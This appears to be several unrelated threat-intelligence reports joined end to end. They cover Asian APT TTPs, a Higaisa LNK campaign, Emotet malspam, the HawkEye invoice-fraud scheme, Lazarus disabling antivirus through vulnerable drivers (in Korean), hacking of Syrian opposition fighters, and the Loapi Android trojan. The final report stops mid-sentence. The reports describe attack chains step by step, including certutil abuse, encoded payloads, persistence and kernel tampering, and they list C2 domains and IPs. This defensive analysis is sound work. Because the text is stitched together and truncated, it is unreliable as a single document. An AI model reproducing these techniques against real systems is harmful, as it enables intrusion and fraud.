# Modern Asian APT Groups’ Tactics, Techniques and Procedures (TTPs) **Authors** Nikita Nazarov Kirill Mitrofanov Alexander Kirichenko Vladislav Burtsev Natalya Shornikova Vasily Berdnikov Sergey Kireev Almost every quarter, someone publishes major research focusing on campaigns or incidents that involve Asian APT groups. These campaigns and incidents target various organizations from a multitude of industries. Likewise, the geographic location of victims is not limited to just one region. This type of research normally contains detailed information about the tools used by APT actors, the vulnerabilities that they exploit, and sometimes even a specific attribution. Despite the large number of these types of reports, companies often remain unprepared to face these kinds of attackers. With the advanced tools and techniques used by threat actors today, cybersecurity professionals require not only high-level expertise and extensive experience but also the infrastructure supplemented by well-organized asset management and vulnerability management processes, network segmentation, fine-tuned audits, and intelligently configured data security tools. In most cases, an unprepared infrastructure is the primary factor enabling Asian APT groups to conduct successful attacks. In this report, we share the most valuable intelligence that we gathered on Asian APT groups. Over the course of our work, we noticed that these groups attacked the greatest number of countries and industries. Most importantly, our analysis of hundreds of attacks revealed a similar pattern among various groups. They achieve specific objectives at various stages of the Cyber Kill Chain using a common but limited number of techniques encountered by security professionals all over the world. Unfortunately, security teams often have difficulty detecting these attacks in their own infrastructure. ## Intended Audience of This Report We created this report to provide the cybersecurity community with the best-prepared intelligence data to effectively counteract Asian APT groups. This report will be the most helpful to the following: - SOC analysts - Cyber Threat Intelligence analysts - Threat Hunting experts - Digital Forensics (DFIR) experts - Cybersecurity experts - Domain administrators - C-Level executives responsible for cybersecurity at their companies This material can serve as a library of knowledge on the main approaches used by Asian APT groups when they hack an infrastructure. The report also contains detailed information on the attackers’ tactics, techniques, and procedures (TTPs) based on the MITRE ATT&CK methodology. ## Structure of the Report This report consists of six main sections: 1. **Incidents Involving Asian APT Groups in Various Regions of the Planet** Information on five unique incidents that we detected in different parts of the world. Each incident is a unique case within a specific country and industry, and we provide a description of the actions and TTPs of the perpetrators. At the end of each section, we put together a consolidated table showing a list of TTPs (related to the APT groups that we encountered in these incidents) and their overlapping use in these incidents. 2. **Technical Details** A detailed description of the individual techniques that we detected in the attacks conducted by Asian APT groups. Each technique contains the following: - Main description: Technical details on how the specific technique works. - Examples of procedures: Example implementations of this technique that we detected in attacks by Asian APT groups. - Data on the approaches employed to detect the described technique, and the EventIDs of events in various monitoring agents used to detect the specific threat. - SIGMA rules: List of SIGMA rules relevant to this technique. The actual SIGMA rules can be found in the Appendix: SIGMA. 3. **Analysis of Attacker Actions Based on the Unified Kill Chain** We used the Unified Kill Chain model to create our own table linked to Asian APT groups, so that we could provide a high-level look at the motivations and behavioral patterns of these actors, and provide data on the possible steps taken by Asian APT groups when they conduct potential attacks. 4. **Mitigation** The measures undertaken to mitigate risks associated with the described TTPs. 5. **Statistics on Attack Victims** Consolidated statistics on the victims of Asian APT groups throughout the world and a breakdown by country and industry. 6. **Appendix: SIGMA** The SIGMA rules that can help to detect the techniques described in this report.
# New LNK Attack Tied to Higaisa APT Discovered **Threat Intelligence Team** June 4, 2020 This post was authored by Hossein Jazi and Jérôme Segura On May 29th, we identified an attack that we believe is part of a new campaign from an Advanced Persistent Threat actor known as Higaisa. The Higaisa APT is believed to be tied to the Korean peninsula and was first disclosed by Tencent Security Threat Intelligence Center in early 2019. The group’s activities go back to at least 2016 and include the use of Trojans such as Gh0st and PlugX, as well as mobile malware. Its targets include government officials and human rights organizations, as well as other entities related to North Korea. In this latest incident, Higaisa used a malicious shortcut file ultimately responsible for creating a multi-stage attack that consists of several malicious scripts, payloads, and decoy PDF documents. ## Distribution The threat actors used a malicious LNK file bundled within an archive file which was most likely distributed via spear-phishing. We were able to identify two variants of this campaign that possibly have been distributed between May 12th and 31st: - “CV_Colliers.rar” - “Project link and New copyright policy.rar” Both RAR archives bundle two malicious LNK files. In the newer variant (CV_Colliers.rar), the LNK files are disguised as a Curriculum Vitae (CV) and International English Language Testing System (IELTS) exam results. The older one (Project link and New copyright policy.rar) seems to target product teams that are using zeplin.io. The following shows the overall process flow when executing the malicious LNK file. ### LNK File The LNK file contains a list of commands that will be executed upon running, and a blob that is a base64 encoded compressed payload. Here is the list of commands that will be executed: - Copy content of the LNK file into “g4ZokyumB2DC4.tmp” in %APPDATA% temp directory. - Copy content of “certutil.exe” into “gosia.exe” ( “*ertu*.exe is used to bypass security detection). - Look for the base64 blob using “findstr.exe” and write it to “cSi1rouy4.tmp”. - Decode content of “cSi1rouy4.tmp” using “gosia.exe -decode” (certutil.exe -decode) and write it to “o423DFDS4.tmp”. - Decompress content of “o423DFDS4.tmp” in temp directory along with a decoy PDF document using “expand.exe -F:*”. - Copy “66DF33DFG.tmp” and “34fDKfSD38.js” files into “C:\Users\Public\Downloads” directory. - Execute the JS file by calling Wscript. - Open the decoy document. The list of commands executed by this LNK shortcut is the same as the one reported by Anomali on the Higaisa Covid-19 campaign. The only difference is the name of the tmp files and name of certutil.exe which in this new case is “gosia.exe”, while in the March campaign the name was “mosia.exe”. Both LNK files embedded within the archive are executing similar commands with different Command and Control (C&C) configurations. Running each of them would show a different decoy document. ### JS File The JavaScript file performs the following commands: - Create “d3reEW.exe” in “C:\Users\Public\Downloads” and store “cmd /c ipconfig” in it. - Execute the dropped “svchast.exe”. - Copy “svchhast.exe” into startup directory and rename it as “officeupdate.exe”. - Add “officeupdate.exe” to scheduled tasks. - Send a POST request to a hardcoded URL with “d3reEW.exe” as data. ### svchast.exe Svchast.exe is a small loader that loads the content of the shellcode stored in “63DF3DFG.tmp”. In fact, this shellcode is a wrapper around the final shellcode. It performs some checks and then calls the final shellcode. The final shellcode dynamically resolves the imports and allocates memory for the content that will be executed. Finally, it calls “CreateThread” to create a thread within its memory space to make HTTPS requests to its C&C server. At the time of analysis, the server was down so we weren’t able to clearly identify the ultimate goal of this attack. ## Chaining Techniques for Evasion While most malware campaigns use a simple decoy document that typically retrieves a malware payload, more advanced attackers will often try unconventional means to infect their victims. We reproduced this attack in our lab using an email as the infection vector, as we surmise that victims were spear-phished. Malwarebytes (in this case the Nebula business version) stopped the LNK file execution from WinRAR and therefore completely stopped the attack. ## IOCs **CV_Colliers.rar** df999d24bde96decdbb65287ca0986db98f73b4ed477e18c3ef100064bceba6d **Project link and New copyright policy.rar** c3a45aaf6ba9f2a53d26a96406b6c34a56f364abe1dd54d55461b9cc5b9d9a04 - Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk 50d081e526beeb61dc6180f809d6230e7cc56d9a2562dd0f7e01f7c6e73388d9 - Tokbox icon – Odds and Ends – iOS – Zeplin.lnk 1074654a3f3df73f6e0fd0ad81597c662b75c273c92dc75c5a6bea81f093ef81 - International English Language Testing System certificate.pdf.lnk c613487a5fc65b3b4ca855980e33dd327b3f37a61ce0809518ba98b454ebf68b - Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk dcd2531aa89a99f009a740eab43d2aa2b8c1ed7c8d7e755405039f3a235e23a6 - Conversations – iOS – Swipe Icons – Zeplin.lnk c0a0266f6df7f1235aeb4aad554e505320560967248c9c5cce7409fc77b56bd5 ## C2 Domains (ipconfig exfiltration) - sixindent[.]epizy[.]com - goodhk[.]azurewebsites[.]net - zeplin[.]atwebpages[.]com ## C2s Used by svchast.exe - 45.76.6[.]149 - www.comcleanner[.]info ## MITRE ATT&CK Techniques | Tactic | ID | Name | Details | |-----------------|------------|-------------------------------|---------| | Execution | T1059 | Command-Line Interface | Starts CMD.EXE for commands (WinRAR.exe, wscript.exe) execution | | | T1106 | Execution through API | Application (AcroRd32.exe) launched itself | | | T1053 | Scheduled Task | Loads the Task Scheduler DLL interface (Officeupdate.exe) | | | T1064 | Scripting | Executes scripts (34fDFkfSD38.js) | | | T1204 | User Execution | Manual execution by user (opening LNK file) | | Persistence | T1060 | Registry Run Keys / Startup Folder | Writes to a start menu file (Officeupdate.exe) | | | T1053 | Scheduled Task | Uses Task Scheduler to run other applications (Officeupdate.exe) | | Privilege | T1053 | Scheduled Task | Uses Task Scheduler to run other applications (Officeupdate.exe) | | Defense | T1064 | Scripting | Executes scripts (34fDFkfSD38.js) | | Evasion | T1140 | Deobfuscate/Decode Files or Information | certutil to decode Base64 binaries, expand.exe to decompress a CAB file | | Discovery | T1012 | Query Registry | Reads the machine GUID from the registry | | | T1082 | System Information Discovery | Reads the machine GUID from the registry | | | T1016 | System Network Configuration Discovery | Uses IPCONFIG.EXE to discover IP address |
# The Return of the Emotet as the World Unlocks **Written by Prashant Tilekar** **September 29, 2020** **Categories:** Cybersecurity, Emotet A threat actor named Emotet Trojan has been in the wild for more than 5 years, and now it is back after a 5 months break. It has spread globally, infecting new as well as old targets. It is re-launched with multiple Malspam Campaigns to distribute in all sectors. We observed through our detection telemetry that Emotet campaigns have targeted a variety of sectors. It is spread through SpamMail with hot topics like Covid-19, Vaccine for Covid-19 and few other generic keywords like Health Insurance, Payment, Invoice, Job Update/Opening, Cyberattack, Shipping and many more. ## Infection Chain The infection chain starts by sending crafted emails to the target organization or person. The attacker uses the hijacking email method for sending the crafted mails with an attachment. The attachment may contain a Word document, a macro file, or a PDF. Sometimes the email body contains URLs too. As the mailbox is hijacked, the attachment is sent replying to old email threads or forwarding to an existing mail list, due to which the victim easily opens the attachment as the mail comes from a trusted mail id. We encountered an extensive count of spam mails; a few examples are listed below. ### Spam Mails The attacker has made a mistake here; we can see in the mail that the subject and the attachment name don’t match. In most cases, an attachment name contains “Medical report Covid-19”. ## Document Analysis Office Document attachments contain a macro which has heavily obfuscated VBA code responsible for delivering payload in the chain. After some de-obfuscation, the “Qndiwjphrk8an6x” function code is as below: ``` {Qndiwjphrk8an6x = “winmgmt” + “:win32_” + “p” + “rocess”} ``` This translates into `winmgmts:win32_process`. Once we removed the chunked data, we got a readable code with functions and reference variables. One interesting part in the directory in `Macros\Ofbszpwp168r\o.stm` is that we can see some obfuscated data again. After the initial level of de-obfuscation, we got a base64 encoded PowerShell script. After decoding with base64 and processing data, we got the below PowerShell script. It contains malicious domains or URLs which serve Emotet executables. Using PowerShell commands, the Emotet executable is downloaded to the “%temp%” directory in the victim’s machine. ## Payload Analysis The payload downloaded from the above file has a customized packer. The unpacking is done at runtime. Emotet’s packer code is polymorphic, which makes it difficult for signature-based detection tools to detect it based on the packer code. Its resource (.rsrc) section has significant data which seems to indicate that the malware might be packed. While debugging the file, we observed that the data will be decrypted using a slightly modified version of RC4. The key for RC4 is hardcoded in the file. After decryption, the control goes to the decrypted shellcode. In some files, we have seen the use of `VirtualAllocExNuma` to allocate new memory. This is used for fast processing. The beginning of an obfuscated shellcode is copied to the new address after being decrypted using the modified RC4 algorithm. In addition to the relatively short shellcode, an additional PE can be seen in the memory. The shellcode deobfuscates several API calls at runtime, such as `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`, and `VirtualProtect`, all of which will be used to resolve APIs and allocate memory to run the additional PE. After this, the malware allocates memory and copies the data of the decrypted file and calls `VirtualProtect`, and finally, the program jumps to the real entry point of the decrypted file. The spreading mechanism of the Emotet campaign remains almost the same as we had already discussed in our previous blog. After executing the Emotet, it will exfiltrate the data to the CnC server. While sending, the data is encoded and sent with some random name of the file and random path to the server. ## Detection Hits Stats In Quick Heal detection, we have successfully detected such Emotet trojans. We have multiple detection layers like Email protection, Online protection, and Behaviour detection to protect our customers. Here are the detection stats number of hits per day in the last 45 days. ## Conclusion Emotet is a persistent threat actor and highly successful in delivering email-based malware, with a major focus on email theft and sending additional malware. It has moderately obfuscated code to deliver and bypass detection techniques. With the global impact of COVID-19, threat actors are likely to continue to use COVID-19-themed emails to deliver malware broadly in support of their objectives for all sectors. Quick Heal customers have long been protected from Emotet and other COVID-19-themed emails. We continue to track and report such attacks to keep our customers safe. **Subject Matter Experts:** Prashant Tilekar Preksha Saxena
# The “HawkEye” Attack: How Cybercrooks Target Small Businesses for Big Money By Paul Ducklin 29 Feb 2016 SophosLabs researcher and regular Naked Security contributor Gabor Szappanos (Szapi) has recently been reviewing the past year’s worth of attack data relating to Microsoft Word document exploits. He wanted to look at how this branch of cybercriminality has been evolving, and where it’s likely to go in 2016. To explain: Word document exploits are different from the sort of attack documents you’re probably familiar with from ransomware campaigns. The recent wave of Locky ransomware attacks, for example, generally relied on sending you a document that contained macros (embedded document programs written in Visual Basic for Applications, or VBA), and asking you to enable macros. That’s a dangerous thing to do, which is why we advise you, “Never do it!” But if you fall for it, you have effectively authorized malware to run, even if you are fully patched. Word document exploits, on the other hand, generally rely on you being unpatched, but once you’ve opened a booby-trapped document, it’s already too late. And, let’s face it, just opening a document isn’t supposed to be dangerous, so you can understand why people take the chance. The danger comes from missing patches that allow crooks to create cunningly malformed files that crash your Word application and leave them in temporary programmatic control of your computer. The booby-trapped document then takes advantage of this temporary control to download and install an item of malware chosen by the crooks. ## Flying Under the Radar If you are trying to infect as many people as possible to make $200 off each of them as soon and as visibly as you can, you don’t have to behave with any subtlety once you’re in. Indeed, ransomware deliberately draws attention to itself once it’s activated, by way of encouraging you to pay up. But if your goal is to tread more softly – to “fly under the radar,” as it were – in the hope of infecting just a handful of people from whom you then patiently attempt to steal $200,000 or more at a time, a less in-your-face approach works better. In other words, you don’t draw attention to yourself or to the malware you’ve implanted at all. ## The Hawkeye Attack One attack that Szapi thought made for educational reading is known as Hawkeye. Even if you’ve heard of it before, it’s still worth reminding yourself how the scam works, which is something like this: - Buy booby-trapped documents that use the Microsoft Word Intruder (MWI) exploit tool. If opened on an unpatched version of Windows, these documents automatically install chosen malware on the victim’s computer, with no user clicks required. - Buy a commercially available keylogger and configure the booby-trapped files to download and install it. (This case used the now-defunct Hawkeye keylogger.) - Pick a broad industry sector, e.g., leather and leather products. - Send a small number of scam emails (typically a few thousand in total) pretending to be quotation requests or payment information, each containing a booby-trapped MWI document. - Infect victims with the keylogger and wait until they type in their email passwords. - Use the stolen email passwords to watch their inboxes until you see that a customer has been invoiced and is about to pay. - Email the customer from the hijacked account, instructing the customer to use a new account number for future payments. - Take the money yourself and quickly move it where it can’t easily be found or recovered. Unlike ransomware campaigns where the crooks aim to make millions of dollars out of hundreds of thousands of victims, $100-$400 at a time, this sort of attack works as a sort of reversed pyramid, where very low attack volumes are needed at each level of the pyramid. As Szapi describes: - In the first campaign, the crooks sent out about five waves of spam with the malicious Word document. Each wave had about 500 targets. The infection statistics show that as a result of this spam they ended up with 80-150 infected computers. - From these infected victims, the crooks went on to identify at least six victims whom they followed up with payment hijacking messages. They chose customers with high-value unpaid invoices, ranging from $200,000 to $900,000. - We don’t know the success rate of the attempted payment hijacks. But even if only one hijack succeeded (a reasonable assumption because they continued in this vein with eight campaigns over several months), that’s a huge return. Worst of all, this is effectively a high-tech crime available to low-tech criminals. They bought in the necessary booby-trapped documents, bought in the keylogger, paid someone to send very small quantities of spam, and then they settled down to carry out old-fashioned, targeted deception and fraud. Just one or two criminals, working unaided, and with enough patience to go after a small number of high-value victims, could easily operate a scam of this sort. And although it’s easy to say, “As a debtor about to pay a huge invoice, I’d never fall for this sort of scam,” remember that the email giving the updated remittance advice – the payment hijack itself – may very well come from the same person who sent you the company’s account number when you first signed up as a customer. That’s one reason the crooks use the reversed pyramid approach described above. They don’t need to send payment hijack emails from every hacked email account, only from the email accounts that are likely to be believed by the recipients. ## What to Do? - Patch promptly. The booby-trapped documents in this attack relied on a security hole that had been patched years before. - Keep your security software up-to-date. A good anti-virus can block attacks like this at several points, and you win if you can stop any one of them, starting with the original inbound email. - Beware of unsolicited attachments. This can be hard if your job is business development and the email is a Request For Quotation, but avoid opening just any old document. - Consider using a stripped-down document viewer. Microsoft’s own Word Viewer, for example, is usually much less vulnerable than Word itself because it’s much simpler. (It doesn’t support macros, either, which protects against Locky-type attacks, too.) - If your email software supports it, use 2FA. That’s short for two-factor authentication, those one-time codes that come up on your phone on a special security token. With 2FA, just stealing your email password isn’t enough on its own. - Have a two-person process for important transactions. Paying large invoices and changing remittance advice shouldn’t be too easy. Require separate approval from a supervisor, so you always get a second opinion when large sums are at stake.
# BYOVD 기법으로 백신 프로그램을 무력화하는 라자루스 공격 그룹의 악성코드 감염 사례 2022년 4월 안랩은 ASEC 블로그에서 라자루스 공격 그룹이 악성코드 감염을 위해 INITECH 프로세스를 악용한다는 내용을 소개했다. 본 글에서는 라자루스 공격 그룹이 워터링 홀 기법을 통해 시스템 해킹에 성공한 후 내부 네트워크 내의 시스템들을 추가로 해킹하기 위해 드림시큐리티사의 MagicLine4NX 제품의 취약점을 이용하고 있으며, 취약한 드라이버를 이용해 백신 프로그램을 무력화하고 있다는 내용을 공유하고자 한다. ## 최초 침투 공격자는 피해 시스템에 침투하기 위해 워터링 홀 공격 방식을 사용하고 있다. 국내 웹 사이트를 해킹한 후, 해당 사이트에서 제공되는 컨텐츠를 조작한다. 특정 IP에서 접근하는 경우에만 동작되는 것으로 보아, 특정 기업이나 조직을 노리고 있는 것으로 추정된다. 취약한 INISAFECrossWebEX를 사용 중인 사용자의 PC가 해당 사이트에 웹 브라우저로 접근하게 되면, INISAFECrossWebEXSvc.exe의 취약점에 의해 악성코드 배포 사이트에서 라자루스 악성코드(SCSKAppLink.dll)가 다운로드된 후 실행된다. 악성코드 감염에 취약한 버전의 INISAFECrossWebEXSvc.exe 프로세스가 악용되고 있으므로, 해당 소프트웨어를 사용 중인 PC는 반드시 최신 패치를 적용해야 하며, 사용하지 않는 경우에는 삭제하도록 한다. ## 내부 시스템 접근 ### MagicLine4NX 취약점 이용 공격자는 내부 시스템에 접근하기 위해 MagicLine4NX(인증서 인증, 전자서명 및 데이터 암/복호화 기능을 수행하는 솔루션)의 취약점을 이용한다. MagicLine4NX 1.0.0.17 이하의 버전에서는 CVE-2021-26606 취약점이 존재한다. 해당 취약점은 버퍼 오버플로우 취약점으로 원격에서 임의의 명령어를 전송하여 악성코드 감염 등의 피해를 유발할 수 있다. 공격자는 MagicLine4NX 프로세스를 이용해 ftp.exe에 악성 스레드를 인젝션시켜 악성 행위를 수행한다. ftp.exe가 사용된 이유는 MagicLine4NX에는 프로토콜(http, ftp)에 따라 입력받는 응용 프로그램을 호출하는 기능이 있는데, 취약점 공격 시 이 기능이 사용되면서 ftp.exe에 악성 스레드가 인젝션되는 것으로 추정된다. 공격자는 취약한 MagicLine4NX을 악용해 내부 망 시스템을 장악해 나가므로, MagicLine4NX 1.0.0.17 이하 버전을 사용하는 경우, 반드시 최신 버전으로 업데이트하도록 한다. ### RDP 접근 공격자는 내부 시스템에 접근하기 위해 RDP를 사용하기도 한다. 접근한 후에는 다음과 같은 악성 행위를 수행한다. 먼저, 제어권 유지를 위해 백도어를 생성하고, 백도어가 통신할 TCP 60012 포트를 호스트 방화벽에서 허용한다. 이후, 백도어 파일을 생성하고 서비스로 등록해 제어권을 유지한다. 그리고 루트킷 악성코드와 취약한 DLL 및 드라이버를 생성해 보안 제품을 무력화한다. ### SSH 접근 공격자는 내부 네트워크에 존재하는 시스템들의 SSH 서버에 root 계정으로 로그인을 시도한다. ## 악성코드에 의한 V3 무력화 ### BYOVD 기법 사용 공격자는 시스템의 보안 제품을 무력화시키기 위해 BYOVD(Bring Your Own Vulnerable Driver, 취약한 드라이버 모듈을 통한 공격) 기법을 사용한다. BYOVD는 하드웨어 공급 업체의 취약한 드라이버 모듈을 악용하는 방식의 공격으로, 드라이버의 권한을 이용하므로 커널 메모리 영역에 읽고 쓰는 것이 가능해, 보안 제품을 포함한 시스템 내 모든 모니터링 프로그램을 무력화할 수 있다. 루트킷을 이용한 보안 제품 무력화 방식은 9월 22일 안랩 ASEC 블로그 “라자루스 그룹의 BYOVD를 활용한 루트킷 악성코드 분석 보고서”에서 상세히 다루고 있다. ### 백신 무력화 과정 1. MagicLine4NX가 ftp.exe에 악성 스레드를 인젝션한다. 2. ftp.exe가 루트킷 파일을 생성한다. 3. 루트킷이 취약한 DLL 및 드라이버 파일을 생성하고, 서비스로 등록한다. 4. 루트킷이 취약한 DLL을 로드하여 드라이버의 호출자 검증을 통과하고 갓 모드(God Mode)를 획득한다. 5. 갓 모드에서 커널 영역 메모리를 수정해 백신 프로그램을 무력화한다. ### 루트킷 동작 방식의 변화 공격자는 여러 방법을 이용해 루트킷을 동작시키는 것으로 확인됐다. 1. 실행 중인 프로세스에 루트킷 악성코드 모듈이 로드된 형태로 악성 행위를 수행 2. 루트킷 악성코드가 독립적인 프로세스 형태로 악성 행위를 직접 수행 공격자는 지속적으로 공격 기법을 개선하고 있는 것으로 보인다. ## 백신 무력화 행위 탐지 및 차단 위의 백신 무력화 과정을 V3에서는 다음과 같이 차단하고 있으므로, V3를 사용하는 시스템에서는 V3의 “행위 기반 진단”을 활성화 하도록 한다. - InitialAccess/MDP.Event.M4419 (2022.09.21.01) - InitialAccess/MDP.Event.M4422 (2022.08.08.02) ## 공격자가 사용한 악성코드 ### 정상 파일이나 악용된 파일 목록 - Downloader/Win.LazarAgent (2022.05.04.02) - Backdoor/Win.Lazardoor (2022.07.06.00) - Downloader/Win.LazarShell (2022.05.04.02) - Trojan/Win.Lazardoor (2022.05.04.02) - Trojan/Win.LazarLoader (2022.06.22.03) - Trojan/Win.LazarLoader (2022.07.11.03) - Data/BIN.EncPe (2022.09.07.00) - Trojan/Win.LazarLoader (2022.09.07.00) - Backdoor/Win.Lazardoor (2022.09.07.00) - Data/BIN.EncodedPE (2022.09.07.00) - Trojan/Win.LazarLoader (2022.09.07.00) - Trojan/Win.Lazardoor (2022.08.02.03) - Rootkit/Win.Agent (2022.08.02.03) - Trojan/Win.Agent (2022.09.16.02) - Data/BIN.Encoded (2022.10.05.00) ### 파일 MD5 - 8F39A7AFA14541B709FE950D06186944 - CA6C08B58A35D7FA581DFB419CE5B881 - 1EDBD7AA68B1818A1EA98C0362CE84C7 - 4D91CD34A9AAE8F2D88E0F77E812CEF7 - FA868A38CEEB46EE9CF8BD441A67AE27 - 43F218D3A4B2199468B00A0B43F51C79 - 1F1A3FE0A31BD0B17BC63967DE0CCC29 - B457E8E9D92A1B31A4E2197037711783 - 202A7EEC39951E1C0B1C9D0A2E24A4C4 - 97BC894205D696023395CBD844FA4E37 - CA9B6B3BCE52D7F14BABDBA82345F5B1 - 013B4C4E9387D8FE1EAB738C42C451DA - 98E58A39EDE26AF7980ED4DE2873CAAB - 8DA35C64FFBFE33A3435A3E8DC1A5A42 - C16A6178A4910C6F3263A01929F306B9 - 8543667917A318001D0E331AEAE3FB9B ### IP/URL strivemktsupporters[.]com(3.39.208.187)를 제외하고, 아래 IP는 공격자에 의해 C2로 사용됐으나, 현재도 서비스 중인 정상 사이트들이다. - hxxps://strivemktsupporters[.]com - 3.39.208.187 - 222.118.225.33 - 211.110.1.17 - 20.194.29.89 - 119.207.79.175 - 61.100.5.186 - 110.10.189.167 - 14.63.165.32 - 211.110.1.93 - 182.252.138.31 - 114.207.112.19 - 1.249.169.5 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.
# Special Report: Behind the Syrian Conflict’s Digital Front Lines ## Introduction Ten armed units working in opposition to Syrian President Assad’s regime were planning a major operation intended to push a front forward against the Syrian government’s forces. They carefully laid out their objective—take and hold a series of positions and liberate the town of Khirbet Ghazaleh, a strategic gateway to the major city of Daraa. They used Google Earth to map their defensive lines and communicate grid coordinates. They sternly told commanders of each unit that they could make no ‘individual’ decisions without the approval of the Operations element. The attack was to be launched with a barrage of 120mm mortar fire, followed by an assault against key regime troop locations. They drew up lists of men from each unit, with names, birthdates, and other identifying information. They used formulas in a colorful Excel spreadsheet to calculate per-man ammunition needs. They arranged and assigned heavier weapons to various engagements: several tanks, a BMP fighting vehicle, 14.5mm and 23mm anti-aircraft guns, B-10 82 mm recoilless rifles, Yugoslav 90mm M79 Osa anti-tank weapons, and other equipment. Finally, they prepared and staffed medical teams and battlefield ambulances. We uncovered these battle plans in the course of our ongoing threat research. It quickly became apparent that we had come across stolen documents containing the secret communications and plans of Syrian opposition forces that had fallen victim to a well-executed hacking operation. Between at least November 2013 and January 2014, the hackers stole a cache of critical documents and Skype conversations revealing the Syrian opposition’s strategy, tactical battle plans, supply needs, and troves of personal information and chat sessions belonging to the men fighting against Syrian President Bashar al-Assad’s forces. If this data was acquired by Assad’s forces or their allies, it could confer a distinct battlefield advantage. ## Key Findings ### Data Theft The threat group stole hundreds of documents and 31,107 logged Skype chat sessions that included discussions of plans and logistics of the Syrian opposition’s attacks on Assad’s forces. ### Victims Targeted individuals included armed opposition members, media activists, humanitarian aid workers, and others. The victims are located in Syria, the region, and beyond. ### Tactics and Techniques The threat actors used female Skype avatars to chat with their targets and infect their devices with malware. They maintained a seemingly pro-opposition website containing links to malicious downloads and Facebook profiles with malicious links. ### Malware The threat group employed a diverse malware toolset that implied access to development resources. They used both widely available and custom malware to breach their targets, including the DarkComet RAT, a customized keylogger, and tools with different shellcode payloads. ### Potential Threat Group Sponsorship While we have only limited indications about the origins of this threat activity, our research revealed multiple references to Lebanon in the course of examining the malware and in the avatar’s social media use. ## Conclusion This group’s activity follows a familiar plot line: threat actors socially engineer their way into individuals’ computers and then steal data. However, this activity provides actionable military intelligence for an immediate battlefield advantage. It offers insight that can thwart a vital supply route, reveal a planned ambush, and identify and track key individuals. This intelligence likely serves a critical role in the adversary’s operational plans and tactical decisions, with a potentially devastating human cost. ## Appendix A: Malware Analysis ### Multi-stage Self-extracting RAR Dropper This threat group frequently uses social engineering to attempt to trick victims into infecting themselves by running malware disguised as a legitimate file. The “lure” file was actually a self-extracting RAR archive (SFXRAR), typically containing a decoy file and a second, password-protected SFXRAR that contained the actual malware. ### ONESIZE Keylogger ONESIZE has been distributed using the multi-stage SFXRAR dropper method. ONESIZE uses the GetAsyncKeyState API to intercept input from the keyboard and stores logged keystrokes to a file. ### BLACKSTAR, a Custom Dropper for the DarkComet RAT This threat group uses a custom dropper which we call BLACKSTAR. BLACKSTAR contains an embedded, obfuscated binary which is a second dropper and launcher that we call REDDWARF. REDDWARF contains the actual DarkComet payload. ### YABROD Downloader and CABLECAR Launcher The YABROD downloader contains embedded shellcode and an embedded, password-protected PDF stored in a PE resource. The PDF file is not malicious and acts as a decoy document, displaying relevant content to its intended victim. ### Android Backdoors We identified two pieces of Android malware associated with this threat group. Both variants are able to steal contact names, phone numbers, and the phone’s username. One variant can also transmit a device’s geographic location to the malware’s C2 server.
# Jack of All Trades **Authors** Nikita Buchka Anton Kivva Dmitry Galov Nowadays, it’s all too easy to end up with malicious apps on your smartphone, even if you’re using the official Google Play app store. The situation gets even worse when you go somewhere other than the official store – fake applications, limited security checks, and so on. However, the spread of malware targeting Android OS is not limited to unofficial stores – advertising, SMS-spam campaigns, and other techniques are also used. Among this array of threats, we found a rather interesting sample – Trojan.AndroidOS.Loapi. This Trojan boasts a complicated modular architecture that means it can conduct a variety of malicious activities: mine cryptocurrencies, annoy users with constant ads, launch DDoS attacks from the affected device, and much more. We’ve never seen such a ‘jack of all trades’ before. ## Distribution and Infection Samples of the Loapi family are distributed via advertising campaigns. Malicious files are downloaded after the user is redirected to the attackers’ malicious web resource. We found more than 20 such resources, whose domains refer to popular antivirus solutions and even a famous porn site. As we can see, Loapi mainly hides behind the mask of antivirus solutions or adult content apps. After the installation process is finished, the application tries to obtain device administrator permissions, asking for them in a loop until the user agrees. Trojan.AndroidOS.Loapi also checks if the device is rooted, but never subsequently uses root privileges – no doubt they will be used in some new module in the future. After acquiring admin privileges, the malicious app either hides its icon in the menu or simulates various antivirus activity, depending on the type of application it masquerades as. ### Self-Protection Loapi aggressively fights any attempts to revoke device manager permissions. If the user tries to take away these permissions, the malicious app locks the screen and closes the window with device manager settings, executing the following code. As well as this fairly standard technique to prevent removal, we also found an interesting feature in the self-protection mechanism. The Trojan is capable of receiving from its C&C server a list of apps that pose a danger. This list is used to monitor the installation and launch of those dangerous apps. If one of the apps is installed or launched, then the Trojan shows a fake message claiming it has detected some malware and, of course, prompts the user to delete it. This message is shown in a loop, so even if the user rejects the offer, the message will be shown again and again until the user finally agrees and deletes the application. ## Layered Architecture Let’s take a look at the Trojan’s architecture in more detail: 1. At the initial stage, the malicious app loads a file from the “assets” folder, decodes it using Base64, and afterwards decrypts it using XOR operations and the app signature hash as a key. A DEX file with payload, which was retrieved after these operations, is loaded with ClassLoader. 2. At the second stage, the malicious app sends JSON with information about the device to the central C&C server. A command in the following format is received as a response from the server: Where “installs” is a list of module IDs that have to be downloaded and launched; “removes” is a list of module IDs that have to be deleted; “domains” is a list of domains to be used as C&C servers; “reservedDomains” is an additional reserved list of domains; “hic” is a flag that shows that the app icon should be hidden from the user; and “dangerousPackages” is a list of apps that must be prevented from launching and installing for self-protection purposes. 3. At the third stage, the modules are downloaded and initialized. All the malicious functionality is concealed inside them. ### Advertisement Module **Purpose and functionality:** This module is used for the aggressive display of advertisements on the user’s device. It can also be used for secretly boosting ratings. **Functionality:** - Display video ads and banners - Open specified URL - Create shortcuts on the device - Show notifications - Download and install other applications ### SMS Module **Purpose and functionality:** This module is used for different manipulations with text messages. Periodically sends requests to the C&C server to obtain relevant settings and commands. **Functionality:** - Send inbox SMS messages to attackers’ server - Reply to incoming messages according to specified masks - Send SMS messages with specified text to specified number - Delete SMS messages from inbox and sent folder according to specified masks - Execute requests to URL and run specified Javascript code in the page received as a response ### Web Crawling Module **Purpose and functionality:** This module is used for hidden Javascript code execution on web pages with WAP billing in order to subscribe the user to various services. Sometimes mobile operators send a text message asking for confirmation of a subscription. In such cases, the Trojan uses SMS module functionality to send a reply with the required text. ### Proxy Module **Purpose and functionality:** This module is an implementation of an HTTP proxy server that allows the attackers to send HTTP requests from the victim’s device. This can be used to organize DDoS attacks against specified resources. This module can also change the internet connection type on a device. ### Mining Monero **Purpose and functionality:** This module uses the Android version of minerd to perform Monero (XMR) cryptocurrency mining. Mining is initiated using specific code. ## Old Ties During our 